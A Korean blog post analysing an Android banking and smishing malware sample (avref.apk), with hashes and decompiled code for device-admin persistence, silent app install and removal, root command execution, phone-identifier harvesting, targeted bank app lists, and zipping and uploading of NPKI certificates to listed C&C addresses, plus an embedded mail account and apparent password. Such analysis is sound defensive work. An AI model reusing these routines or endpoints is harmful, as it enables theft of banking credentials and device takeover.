일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 안전결제
- shell_gpt
- speed-measure-webpack-plugin
- 많다..
- CryptoJS
- 취약점
- intelmac
- 거래사기
- 네이버카페
- react
- esbuild
- 로맨스스캠
- 중고나라
- ssrf
- 변태는
- Malware Sample
- open redirect
- MongoDB #NoSQL #CreateUser #DropUser #mongod #mognod.conf
- Frida
- Sequoia
- NUGU
- 모의해킹
- 척추관협착증
- CJ대한통운 #쿠팡 #통관번호오류 #통관고유번호오류 #안주원팀장 #모건인베스트
- 보이스피싱 #대검찰청 #명의도용 #비밀번호 #계좌번호 #공공기관 #가짜검찰청
- 허리디스크
- ue4dumper
- 채팅환전사기
- self-signed
- XSS
- Today
- Total
annyoung
원격제어 + 스미싱이 결합된 avref.apk 본문
FileName |
avref.apk |
MD5 |
F5439A55FAA1DB7EEB3F85D4DCEBE013 |
SHA-1 |
9E915732B7A1314FFE06C20D769F9A390C331B94 |
Packer |
X |
어디서 굴러들어온 녀석인진 모르겠다만, 정보유출지가 차단되어 쓸모없는 녀석이 되어 버렸다.
기기 관리자 활성화 + 원격제어(파일 다운, 설치, 제거, 문자 보내기, 연락처 유출 등) + 스미싱(뱅킹 정보 유출, 인증서 유출 등)이 사용되는 샘플이였다.
package com.a; import android.app.admin.DeviceAdminReceiver; import android.content.Context; import android.content.Intent; public class MyAdminReceiver extends DeviceAdminReceiver { public void onEnabled(Context paramContext, Intent paramIntent) { super.onEnabled(paramContext, paramIntent); } } |
- 기기 관리자 활성화를 이용하여 삭제를 어렵게 함.
public static void uninstallAPK(Context paramContext, String paramString) { Intent localIntent = new Intent("android.intent.action.DELETE", Uri.parse("package:" + paramString)); localIntent.addFlags(268435456); paramContext.startActivity(localIntent); } public static void InstallAPK(Context paramContext, String paramString) { Intent localIntent = new Intent("android.intent.action.VIEW"); localIntent.setFlags(268435456); localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive"); paramContext.startActivity(localIntent); } |
- 기기에 설치된 application을 해당 악성코드가 삭제 및 설치할 수 있게 한다.
public static boolean RootCommand(String paramString) { Process localProcess; DataOutputStream localDataOutputStream; try { localProcess = Runtime.getRuntime().exec("su"); label94: localDataOutputStream = new DataOutputStream(localProcess.getOutputStream()); } catch (Exception localException1) { try { localDataOutputStream.writeBytes("chmod 777 " + paramString + "\n"); localDataOutputStream.writeBytes(paramString + "\n"); localDataOutputStream.writeBytes("exit\n"); localDataOutputStream.flush(); localProcess.waitFor(); int i = 1; return i; localException1 = localException1; i = 0; } catch (Exception localException2) { break label94: } } } public static void execScrpits(String paramString) { try { RootCommand(paramString); return; } catch (Exception localException) { } } |
- 설치된 기기에서 관리자 권한으로 스크립트를 실행할 수 있다.
public static JSONObject getPhoneState(Context paramContext) throws JSONException { TelephonyManager localTelephonyManager = (TelephonyManager)paramContext.getSystemService("phone"); JSONObject localJSONObject = new JSONObject(); localJSONObject.put("DeviceId(IMEI)", localTelephonyManager.getDeviceId()); localJSONObject.put("DeviceSoftwareVersion", localTelephonyManager.getDeviceSoftwareVersion()); localJSONObject.put("Line1Number", localTelephonyManager.getLine1Number()); localJSONObject.put("NetworkCountryIso", localTelephonyManager.getNetworkCountryIso()); localJSONObject.put("NetworkOperator", localTelephonyManager.getNetworkOperator()); localJSONObject.put("NetworkOperatorName", localTelephonyManager.getNetworkOperatorName()); localJSONObject.put("NetworkType", localTelephonyManager.getNetworkType()); localJSONObject.put("PhoneType", localTelephonyManager.getPhoneType()); localJSONObject.put("SimCountryIso", localTelephonyManager.getSimCountryIso()); localJSONObject.put("SimOperator", localTelephonyManager.getSimOperator()); localJSONObject.put("SimOperatorName", localTelephonyManager.getSimOperatorName()); localJSONObject.put("SimSerialNumber", localTelephonyManager.getSimSerialNumber()); localJSONObject.put("SimState", localTelephonyManager.getSimState()); localJSONObject.put("SubscriberId(IMSI)", localTelephonyManager.getSubscriberId()); localJSONObject.put("VoiceMailNumber", localTelephonyManager.getVoiceMailNumber()); return localJSONObject; } |
- 악성코드가 설치된 기기의 정보를 유출한다. 유출되는 정보는 IMEI, IMSI, USIM 관련 정보, 디바이스 소프트웨어 버전, 핸드폰 번호, 네트워크 정보 등과 같다.
public class ConstantDatas { public static final String ACTPACK = "com.qwe"; public static final String AV = "AhnLab V3 Mobile Plus 2.0"; public static String BANKURL; public static String[] BK_CALL_LIST; public static String[] BK_NAME_LIST; public static String[] BK_PACK_LIST; public static String[] B_L; public static String Folder; public static final String MAINPACK = "com.a"; public static String NOBANKURL; private static final String NPKI = "NPKI"; public static String SDCardRoot; public static String URL; public static final String V3PACK = "com.ahnlab.v3mobileplus"; public static String status; static { String[] arrayOfString1 = new String[10]; arrayOfString1[0] = "신한S뱅크"; arrayOfString1[1] = "하나N Bank"; arrayOfString1[2] = "스마트뱅킹"; arrayOfString1[3] = "MG새마을금고"; arrayOfString1[4] = "우체국 스마트뱅킹"; arrayOfString1[5] = "신협 S뱅킹"; arrayOfString1[6] = "스마트뱅크"; arrayOfString1[7] = "KB스타뱅킹"; arrayOfString1[8] = "ONE뱅킹개인"; arrayOfString1[9] = "개인스마트뱅크"; BK_NAME_LIST = arrayOfString1; String[] arrayOfString2 = new String[10]; arrayOfString2[0] = "SH"; arrayOfString2[1] = "HA"; arrayOfString2[2] = "KNB"; arrayOfString2[3] = "SP"; arrayOfString2[4] = "EP"; arrayOfString2[5] = "CU"; arrayOfString2[6] = "KEB"; arrayOfString2[7] = "KB"; arrayOfString2[8] = "IBK"; arrayOfString2[9] = "BS"; BK_CALL_LIST = arrayOfString2; String[] arrayOfString3 = new String[10]; arrayOfString3[0] = "com.shinhan.sbanking"; arrayOfString3[1] = "com.hanabank.ebk.channel.android.hananbank"; arrayOfString3[2] = "com.knb.psb"; arrayOfString3[3] = "com.smg.spbs"; arrayOfString3[4] = "com.epost.psf.sdsi"; arrayOfString3[5] = "com.cu.sb"; arrayOfString3[6] = "com.keb.android.mbank"; arrayOfString3[7] = "com.kbstar.kbbank"; arrayOfString3[8] = "com.ibk.neobanking"; arrayOfString3[9] = "com.areo.bs"; BK_PACK_LIST = arrayOfString3; String[] arrayOfString4 = new String[10]; arrayOfString4[0] = "SH"; arrayOfString4[1] = "HA"; arrayOfString4[2] = "KNB"; arrayOfString4[3] = "SP"; arrayOfString4[4] = "EP"; arrayOfString4[5] = "CU"; arrayOfString4[6] = "KEB"; arrayOfString4[7] = "KB"; arrayOfString4[8] = "IBK"; arrayOfString4[9] = "BS"; B_L = arrayOfString4; SDCardRoot = Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator; Folder = SDCardRoot + "NPKI" + File.separator; URL = ""; status = "0"; BANKURL = "http://192.151.226.138:80/appHome/"; NOBANKURL = "http://192.151.226.138:80/appHome/"; } } |
- 은행 관련하여 문자열들이 정의되어 있고 분석 방해를 위한 가짜 C&C 주소가 적혀있다.
try { ZUtil.ZipFolder(FileUtil.getSDPath() + "/" + str4 + ".txt", FileUtil.getSDPath() + "/" + str4 + ".zip"); File localFile = new File(FileUtil.getSDPath() + "/" + str4 + ".zip"); 1 local1 = new 1(this, localFile); local1.start(); String str5 = this.sp.getValue("musername", ""); String str6 = this.sp.getValue("mpass", ""); String str7 = StUtil.getMachine(getApplicationContext()) + "_npki.zip"; ArrayList localArrayList = new ArrayList(); localArrayList.add(localFile); localArrayList.add(new File(FileUtil.getSDPath() + "/" + str7)); 2 local2 = new 2(this, localArrayList, str5, str6); local2.start(); return; } catch (Exception localException) { localException.printStackTrace(); } |
- 공인인증서를 찾아서 .zip으로 압축하고 유출지 서버로 업로드 시킨다.
static { System.loadLibrary("hello-jni"); } |
MainActivit.class에서 실행되는 녀석인데, 외부 라이브러리인 hello-jni를 로드한다.
FIleName |
libhello-jni.so |
MD5 |
61E6AC6D5FFFEC2FD98298E44753A8AC |
SHA-1 |
7F5E5C6B546C773724944F67444E00E659E50D97 |
이 녀석은 lib 디렉토리에 포함되어 있다. 잘 찾아 보시길 바란다.
.rodata:00001F54 00000015 C Q049c2RmaW9qYWlvYXM= .rodata:00001F69 00000013 C gjmrttmn01@126.com .rodata:00001F7D 0000000F C 54rger454reg45 .rodata:00001F8C 00000021 C http://tmfgragb.vicp.co/appHome/ |
이 녀석의 스트링은 위와 같다.
실제로 유출될때 사용되는 IP(주황색)와 126.com의 아이디 및 비밀번호(빨간색)가 정의되어 있다.
'분석생활' 카테고리의 다른 글
헝가리 애들 귀엽다 (0) | 2015.05.28 |
---|---|
공유기 DNS 변조하여 유포되는 스미싱 : 크롬 업데이트 (3) | 2015.05.27 |
웹사이트 브루트포싱 로그 (0) | 2015.05.23 |
놀몸연극놀이연구소 사이트 파밍 유포지로 사용중 (0) | 2015.05.22 |
TLS callback 악성코드 우회 및 분석 (0) | 2015.05.19 |